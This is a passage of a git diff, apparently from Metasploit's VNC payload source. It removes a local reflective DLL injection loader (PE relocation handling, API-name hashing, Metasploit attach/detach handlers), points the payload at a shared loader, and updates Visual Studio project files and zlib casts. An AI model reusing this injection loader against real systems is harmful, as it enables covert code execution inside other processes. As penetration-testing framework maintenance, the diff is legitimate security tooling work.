relocation block - uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); - - // uiValueD is now the first entry in the current relocation block - uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); - - // we itterate through all the entries in the current block... - while( uiValueB-- ) - { - // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. - // we dont use a switch statement to avoid the compiler building a jump table - // which would not be very position independent! - if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) - *(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) - *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); - - // get the next entry in the current relocation block - uiValueD += sizeof( IMAGE_RELOC ); - } - - // get the next entry in the relocation directory - uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; - } - } - - // STEP 6: process the images exception directory if it has one (PE32+ for x64) -/* - // uiValueB = the address of the relocation directory - uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ]; - // check if their are any exception etries present - if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) - { - // get the number of entries - uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY ); - - // uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY) - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // itterate through all entries - while( uiValueA-- ) - { - //((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress - - // get the next entry - uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY ); - } - } -*/ - // STEP 7: call our images entry point - - // uiValueA = the VA of our newly loaded DLL/EXE's entry point - uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); - - // call our respective entry point, fudging our hInstance value -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR - // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); -#else - // if we are injecting an DLL via a stub we call DllMain with no parameter - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); -#endif - - // STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH - return uiValueA; -} -//===============================================================================================// -#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN - -// you must implement this function... -extern DWORD DLLEXPORT Init( SOCKET socket ); - -BOOL MetasploitDllAttach( SOCKET socket ) -{ - Init( socket ); - return TRUE; -} - -BOOL MetasploitDllDetach( DWORD dwExitFunc ) -{ - switch( dwExitFunc ) - { - case EXITFUNC_SEH: - SetUnhandledExceptionFilter( NULL ); - break; - case EXITFUNC_THREAD: - ExitThread( 0 ); - break; - case EXITFUNC_PROCESS: - ExitProcess( 0 ); - break; - default: - break; - } - - return TRUE; -} - -BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) -{ - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_METASPLOIT_ATTACH: - bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved ); - break; - case DLL_METASPLOIT_DETACH: - bReturnValue = MetasploitDllDetach( (DWORD)lpReserved ); - break; - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; -} - -#endif -//===============================================================================================// diff --git a/external/source/vncdll/winvnc/ReflectiveLoader.h b/external/source/vncdll/winvnc/ReflectiveLoader.h deleted file mode 100644 index 224fa0eb68..0000000000 --- a/external/source/vncdll/winvnc/ReflectiveLoader.h +++ /dev/null @@ -1,197 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_REFLECTIVELOADER_H -#define _VNCDLL_LOADER_REFLECTIVELOADER_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include -#include - -#include "ReflectiveDLLInjection.h" - -#define EXITFUNC_SEH 0xEA320EFE -#define EXITFUNC_THREAD 0x0A2A1DE0 -#define EXITFUNC_PROCESS 0x56A2B5F0 - -typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); -typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); -typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define VIRTUALALLOC_HASH 0x91AFCA54 - -#define HASH_KEY 13 -//===============================================================================================// -#pragma intrinsic( _rotr ) - -__forceinline DWORD ror( DWORD d ) -{ - return _rotr( d, HASH_KEY ); -} - - - -__forceinline DWORD hash( char * c ) -{ - register DWORD h = 0; - do - { - h = ror( h ); - h += *c; - } while( *++c ); - - return h; -} -//===============================================================================================// -typedef struct _UNICODE_STR -{ - USHORT Length; - USHORT MaximumLength; - PWSTR pBuffer; -} UNICODE_STR, *PUNICODE_STR; - -// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY -//__declspec( align(8) ) -typedef struct _LDR_DATA_TABLE_ENTRY -{ - //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STR FullDllName; - UNICODE_STR BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - -// WinDbg> dt -v ntdll!_PEB_LDR_DATA -typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes -{ - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK -typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes -{ - struct _PEB_FREE_BLOCK * pNext; - DWORD dwSize; -} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; - -// struct _PEB is defined in Winternl.h but it is incomplete -// WinDbg> dt -v ntdll!_PEB -typedef struct __PEB // 65 elements, 0x210 bytes -{ - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; - PRTL_CRITICAL_SECTION pFastPebLock; - LPVOID lpFastPebLockRoutine; - LPVOID lpFastPebUnlockRoutine; - DWORD dwEnvironmentUpdateCount; - LPVOID lpKernelCallbackTable; - DWORD dwSystemReserved; - DWORD dwAtlThunkSListPtr32; - PPEB_FREE_BLOCK pFreeList; - DWORD dwTlsExpansionCounter; - LPVOID lpTlsBitmap; - DWORD dwTlsBitmapBits[2]; - LPVOID lpReadOnlySharedMemoryBase; - LPVOID lpReadOnlySharedMemoryHeap; - LPVOID lpReadOnlyStaticServerData; - LPVOID lpAnsiCodePageData; - LPVOID lpOemCodePageData; - LPVOID lpUnicodeCaseTableData; - DWORD dwNumberOfProcessors; - DWORD dwNtGlobalFlag; - LARGE_INTEGER liCriticalSectionTimeout; - DWORD dwHeapSegmentReserve; - DWORD dwHeapSegmentCommit; - DWORD dwHeapDeCommitTotalFreeThreshold; - DWORD dwHeapDeCommitFreeBlockThreshold; - DWORD dwNumberOfHeaps; - DWORD dwMaximumNumberOfHeaps; - LPVOID lpProcessHeaps; - LPVOID lpGdiSharedHandleTable; - LPVOID lpProcessStarterHelper; - DWORD dwGdiDCAttributeList; - LPVOID lpLoaderLock; - DWORD dwOSMajorVersion; - DWORD dwOSMinorVersion; - WORD wOSBuildNumber; - WORD wOSCSDVersion; - DWORD dwOSPlatformId; - DWORD dwImageSubsystem; - DWORD dwImageSubsystemMajorVersion; - DWORD dwImageSubsystemMinorVersion; - DWORD dwImageProcessAffinityMask; - DWORD dwGdiHandleBuffer[34]; - LPVOID lpPostProcessInitRoutine; - LPVOID lpTlsExpansionBitmap; - DWORD dwTlsExpansionBitmapBits[32]; - DWORD dwSessionId; - ULARGE_INTEGER liAppCompatFlags; - ULARGE_INTEGER liAppCompatFlagsUser; - LPVOID lppShimData; - LPVOID lpAppCompatInfo; - UNICODE_STR usCSDVersion; - LPVOID lpActivationContextData; - LPVOID lpProcessAssemblyStorageMap; - LPVOID lpSystemDefaultActivationContextData; - LPVOID lpSystemAssemblyStorageMap; - DWORD dwMinimumStackCommit; -} _PEB, * _PPEB; - -typedef struct -{ - WORD offset:12; - WORD type:4; -} IMAGE_RELOC, *PIMAGE_RELOC; -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/vncdll/winvnc/VSocket.cpp b/external/source/vncdll/winvnc/VSocket.cpp old mode 100644 new mode 100755 index d9906fd03e..43df3023d0 --- a/external/source/vncdll/winvnc/VSocket.cpp +++ b/external/source/vncdll/winvnc/VSocket.cpp @@ -70,7 +70,7 @@ class VSocket; //////////////////////////////////////////////////////// // *** Lovely hacks to make Win32 work. Hurrah! -#ifdef __WIN32__ +#if defined(__WIN32__) && !defined(EWOULDBLOCK) #define EWOULDBLOCK WSAEWOULDBLOCK #endif diff --git a/external/source/vncdll/winvnc/WinVNC.vcproj b/external/source/vncdll/winvnc/WinVNC.vcproj deleted file mode 100644 index 4fea3fe033..0000000000 --- a/external/source/vncdll/winvnc/WinVNC.vcproj +++ /dev/null @@ -1,1200 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/external/source/vncdll/winvnc/WinVNC.vcxproj b/external/source/vncdll/winvnc/WinVNC.vcxproj new file mode 100755 index 0000000000..37efead766 --- /dev/null +++ b/external/source/vncdll/winvnc/WinVNC.vcxproj @@ -0,0 +1,473 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + winvnc + {EA6A09AC-04BB-423D-8842-CA48DF901058} + WinVNC + . + + + + DynamicLibrary + v120_xp + false + MultiByte + + + DynamicLibrary + v120_xp + false + MultiByte + + + DynamicLibrary + v120_xp + false + MultiByte + + + DynamicLibrary + v120_xp + false + MultiByte + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>12.0.21005.1 + + + $(ProjectDir)$(Configuration)\$(Platform)\ + $(ProjectDir)$(Configuration)\$(Platform)\ + true + false + false + false + $(ProjectName).$(PlatformShortName) + .dll + + + $(ProjectDir)$(Configuration)\$(Platform)\ + $(ProjectDir)$(Configuration)\$(Platform)\ + true + false + false + false + $(ProjectName).$(PlatformShortName) + .dll + + + $(ProjectDir)$(Configuration)\$(Platform)\ + $(ProjectDir)$(Configuration)\$(Platform)\ + true + true + $(ProjectName).$(PlatformShortName) + .dll + + + $(ProjectDir)$(Configuration)\$(Platform)\ + $(ProjectDir)$(Configuration)\$(Platform)\ + true + true + $(ProjectName).$(PlatformShortName) + .dll + + + + NDEBUG;%(PreprocessorDefinitions) + true + true + Win32 + + + OnlyExplicitInline + ..\..\ReflectiveDLLInjection\common;./omnithread;./zlib;..;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;__WIN32__;__NT__;__x86__;_WINSTATIC;NCORBA;XMD_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;%(PreprocessorDefinitions) + true + MultiThreaded + false + true + + true + Level3 + true + Default + + + NDEBUG;WITH_JAVA_VIEWER;%(PreprocessorDefinitions) + 0x0409 + + + + + + /MACHINE:I386 %(AdditionalOptions) + ws2_32.lib;%(AdditionalDependencies) + $(OutDir)$(TargetName)$(TargetExt) + true + type=%27win32%27 name=%27Microsoft.Windows.Common-Controls%27 version=%276.0.0.0%27 processorArchitecture=%27X86%27 publicKeyToken=%276595b64144ccf1df%27 language=%27*%27;%(AdditionalManifestDependencies) + true + Windows + true + true + false + false + MachineX86 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + + + NDEBUG;%(PreprocessorDefinitions) + true + true + X64 + false + + + + + OnlyExplicitInline + ..\..\ReflectiveDLLInjection\common;./omnithread;./zlib;..;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;__WIN32__;__NT__;__x64__;_WINSTATIC;NCORBA;XMD_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;%(PreprocessorDefinitions) + true + MultiThreaded + false + true + + true + Level3 + true + Default + + + NDEBUG;WITH_JAVA_VIEWER;%(PreprocessorDefinitions) + 0x0409 + + + + + + ws2_32.lib;%(AdditionalDependencies) + $(OutDir)$(TargetName)$(TargetExt) + false + + false + Windows + true + true + + + NotSet + true + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.1 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + + + _DEBUG;%(PreprocessorDefinitions) + true + true + Win32 + + + Disabled + ..\..\ReflectiveDLLInjection\common;./omnithread;./zlib;..;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;__WIN32__;__NT__;__x86__;NCORBA;_WINSTATIC;XMD_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + StackFrameRuntimeCheck + MultiThreadedDebug + true + + Level3 + true + ProgramDatabase + Default + + + _DEBUG;WITH_JAVA_VIEWER;%(PreprocessorDefinitions) + 0x0809 + + + /MACHINE:I386 %(AdditionalOptions) + ws2_32.lib;%(AdditionalDependencies) + true + type=%27win32%27 name=%27Microsoft.Windows.Common-Controls%27 version=%276.0.0.0%27 processorArchitecture=%27X86%27 publicKeyToken=%276595b64144ccf1df%27 language=%27*%27;%(AdditionalManifestDependencies) + true + Windows + false + + MachineX86 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + + + _DEBUG;%(PreprocessorDefinitions) + true + true + X64 + + + Disabled + ..\..\ReflectiveDLLInjection\common;./omnithread;./zlib;..;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;__WIN32__;__NT__;__x86__;NCORBA;_WINSTATIC;XMD_H;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;%(PreprocessorDefinitions) + StackFrameRuntimeCheck + MultiThreadedDebug + true + + Level3 + true + ProgramDatabase + Default + + + _DEBUG;WITH_JAVA_VIEWER;%(PreprocessorDefinitions) + 0x0809 + + + /MACHINE:I386 %(AdditionalOptions) + ws2_32.lib;%(AdditionalDependencies) + true + type=%27win32%27 name=%27Microsoft.Windows.Common-Controls%27 version=%276.0.0.0%27 processorArchitecture=%27X86%27 publicKeyToken=%276595b64144ccf1df%27 language=%27*%27;%(AdditionalManifestDependencies) + true + Windows + false + + MachineX64 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.1 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + true + true + true + true + + + true + true + true + true + + + true + true + true + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/vncdll/winvnc/WinVNC.vcxproj.filters b/external/source/vncdll/winvnc/WinVNC.vcxproj.filters new file mode 100755 index 0000000000..39f04fd58a --- /dev/null +++ b/external/source/vncdll/winvnc/WinVNC.vcxproj.filters @@ -0,0 +1,527 @@ + + + + + {804c711f-35c6-4aac-9b8a-9cf8b528de85} + .cpp, .c + + + {7847cf33-fe03-48ad-9a94-a8956821f343} + .cpp, .c + + + {a328f948-40d7-4548-9451-66b620124477} + + + {cb642898-1056-43ee-828a-40004b207331} + + + {22b4b748-5baf-4a41-9ab0-ef1d45f215aa} + + + {2a00b2f1-2b80-496f-ade2-3ac76578d435} + + + {c3a89192-29f8-4ebc-b443-1032d86966d6} + .h + + + {a545ae04-19cc-401a-bb0e-fd3d7aad0f60} + + + {525d33a4-2360-47f9-9e68-24f7d54d50cb} + + + {e0e45b7e-7137-4fa7-acb3-9c57acce4c9c} + + + + + Source Files + + + Source Files\encoder + + + Source Files\encoder + + + Source Files\encoder + + + Source Files\encoder + + + Source Files\encoder + + + Source Files\encoder + + + Source Files\encoder + + + Source Files\omnithread + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\libjpeg + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\zlib + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + Source Files\winvnc + + + + + Source Files\omnithread + + + Source Files\omnithread + + + Header Files + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\libjpeg + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\zlib + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + Header Files\winvnc + + + + + Header Files\winvnc + + + \ No newline at end of file diff --git a/external/source/vncdll/winvnc/vncDesktop.cpp b/external/source/vncdll/winvnc/vncDesktop.cpp old mode 100644 new mode 100755 index 19a2b555c6..396163756e --- a/external/source/vncdll/winvnc/vncDesktop.cpp +++ b/external/source/vncdll/winvnc/vncDesktop.cpp @@ -2906,7 +2906,7 @@ bool bDbgBmDump( TCHAR szFileName[MAX_PATH]; sprintf( szFileName, - "%04u.%02u.%02u-%02u-%02u-%02u-0x%08x.bmp", + "%04u.%02u.%02u-%02u-%02u-%02u-0x%08p.bmp", stm.wYear, stm.wMonth, stm.wDay, stm.wHour, stm.wMinute, stm.wSecond, ptr); diff --git a/external/source/vncdll/winvnc/vncdll.cpp b/external/source/vncdll/winvnc/vncdll.cpp old mode 100644 new mode 100755 index e8bc8dcc93..096c2a03cd --- a/external/source/vncdll/winvnc/vncdll.cpp +++ b/external/source/vncdll/winvnc/vncdll.cpp @@ -15,7 +15,7 @@ */ #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -#include "ReflectiveLoader.c" +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" HANDLE hMessageMutex = NULL; diff --git a/external/source/vncdll/winvnc/vncdll.sln b/external/source/vncdll/winvnc/vncdll.sln deleted file mode 100644 index 71cfe625d9..0000000000 --- a/external/source/vncdll/winvnc/vncdll.sln +++ /dev/null @@ -1,35 +0,0 @@ -Microsoft Visual Studio Solution File, Format Version 10.00 -# Visual C++ Express 2008 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "winvnc", "WinVNC.vcproj", "{EA6A09AC-04BB-423D-8842-CA48DF901058}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "..\loader\loader.vcproj", "{B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}" - ProjectSection(ProjectDependencies) = postProject - {EA6A09AC-04BB-423D-8842-CA48DF901058} = {EA6A09AC-04BB-423D-8842-CA48DF901058} - EndProjectSection -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Debug|x64 = Debug|x64 - Release|Win32 = Release|Win32 - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|Win32.ActiveCfg = Debug|Win32 - {EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|Win32.Build.0 = Debug|Win32 - {EA6A09AC-04BB-423D-8842-CA48DF901058}.Debug|x64.ActiveCfg = Debug|Win32 - {EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|Win32.ActiveCfg = Release|Win32 - {EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|Win32.Build.0 = Release|Win32 - {EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.ActiveCfg = Release|x64 - {EA6A09AC-04BB-423D-8842-CA48DF901058}.Release|x64.Build.0 = Release|x64 - {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.ActiveCfg = Debug|Win32 - {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|Win32.Build.0 = Debug|Win32 - {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Debug|x64.ActiveCfg = Debug|Win32 - {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.ActiveCfg = Release|Win32 - {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|Win32.Build.0 = Release|Win32 - {B00E0A6D-850E-47CF-A68F-C8C06DD69BAD}.Release|x64.ActiveCfg = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/external/source/vncdll/winvnc/zlib/inffast.c b/external/source/vncdll/winvnc/zlib/inffast.c old mode 100644 new mode 100755 index aa7f1d4d2a..90455987cb --- a/external/source/vncdll/winvnc/zlib/inffast.c +++ b/external/source/vncdll/winvnc/zlib/inffast.c @@ -99,7 +99,7 @@ z_streamp z; do { r += s->end - s->window; /* force pointer in window */ } while (r < s->window); /* covers invalid distances */ - e = s->end - r; + e = (uInt)(s->end - r); if (c > e) { c -= e; /* wrapped copy */ diff --git a/external/source/vncdll/winvnc/zlib/inflate.c b/external/source/vncdll/winvnc/zlib/inflate.c old mode 100644 new mode 100755 index dfb2e867d8..ea6e9c8333 --- a/external/source/vncdll/winvnc/zlib/inflate.c +++ b/external/source/vncdll/winvnc/zlib/inflate.c @@ -334,7 +334,7 @@ z_streamp z; } /* restore */ - z->total_in += p - z->next_in; + z->total_in += (uLong)(p - z->next_in); z->next_in = p; z->avail_in = n; z->state->sub.marker = m; diff --git a/external/source/vncdll/winvnc/zlib/infutil.h b/external/source/vncdll/winvnc/zlib/infutil.h old mode 100644 new mode 100755 index 4401df82fc..1804eb984f --- a/external/source/vncdll/winvnc/zlib/infutil.h +++ b/external/source/vncdll/winvnc/zlib/infutil.h @@ -64,7 +64,7 @@ struct inflate_blocks_state { /* defines for inflate input/output */ /* update pointers and return */ #define UPDBITS 